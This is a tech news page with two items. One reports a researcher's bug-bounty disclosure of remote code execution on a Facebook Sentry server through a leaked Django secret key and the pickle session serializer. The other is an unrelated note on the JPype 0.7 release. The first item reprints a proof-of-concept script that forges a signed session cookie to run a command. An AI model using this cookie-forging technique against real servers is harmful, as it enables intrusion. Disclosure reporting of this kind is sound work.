Another Facebook Vulnerability to be Found

Cybersecurity specialist from SCRT find a way to execute code on Facebook server remotely
27 August 2018   1542

Daniel Le Gall from SCRT, reported about the vulnerability he found in one of the Facebook servers. The problem is in the Sentry web application for logs storage, written in Python using the Django framework. Facebook experts have already patched a security hole in the server.

Daniel found the problem during the scanning of IP addresses of to the social network. On one of them Sentry service was located with host name sentryagreements.thefacebook.com. When reviewing the application, the specialist noticed a stack trace that appears for an unexpected reason, and problems with the user password reset function. According to him, the Django debugging mode was not disabled, so the trace opened the entire environment of the program:

Facebook Vulnerability
Facebook Vulnerability

SCRT expert discovered among the keys of the environment SESSION_SERIALIZER, which was related to the method django.contrib.sessions.serializers.PickleSerializer. Daniel clarified that using a fake session containing arbitrary content of the binary Pickle protocol for serializing objects in Python, you can run any code in the system. To access the session, he needed a secret Django key, which appeared in the list of Sentry settings in plaintext called system.secret-key:

Facebook Vulnerability
Facebook Vulnerability

The researcher wrote a proof-of-concept script that changed the existing contents of sentrysid cookies to an arbitrary object and made the page load for 30 seconds longer:

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os

SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()

print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

He sent information about the vulnerability to Facebook team and received $ 5000 under the Bug Bounty program. The company specialists cleared the issue in 10 days after receiving the notification.

Jpype 0.7 to be Available

Unlike Jython, integration with Java is achieved thru interaction at the both virtual machines level using shared memory
27 June 2019   472

After more than four years since the formation of the last significant branch, the release of the JPype 0.7 is available, allowing you to organize full access of Python-applications to the class libraries in Java. Using JPype you can use Java-specific libraries from Python by creating hybrid applications that combine Java and Python code. The project code is distributed under the Apache 2.0 license.

Unlike Jython, integration with Java is not achieved through the creation of a Python version for the JVM, but through interaction at the level of both virtual machines using shared memory. The proposed approach allows not only to achieve good performance, but also provides access to all CPython and Java libraries. The new release completely rewritten the code of the main module, added support for unattached streams, improved security, provided translation of Java exceptions to Python exceptions, changed behavior when converting strings.